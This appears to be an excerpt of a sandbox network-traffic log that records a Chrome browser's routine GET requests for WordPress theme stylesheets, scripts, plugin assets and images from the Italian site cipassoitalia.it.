Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullsize/slideshow_fullsize.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_share/social_share.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/team/team.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-public.css?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-gdpr.css?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-list-horizontal/style.css?ver=1 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/shortcodes.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/avia-snippet-lightbox.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/avia-snippet-widget.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/dynamic_avia/enfold.css?ver=6335ddf9ba942 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/css/custom.css?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-compat.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery.min.js?ver=3.6.0 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cookie-law-info/legacy/public/js/cookie-law-info-public.js?ver=3.0.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Home-1500x630.jpg HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/config-wpml/wpml-mod.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2021/06/CiPASSO-Bistrot-Roma-userci.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia-compat.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/it.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/shortcodes.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cipassoitalia.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/sitepress-multilingual-cms/res/flags/en.png HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/enfold/js/avia.js?ver=4.5 HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
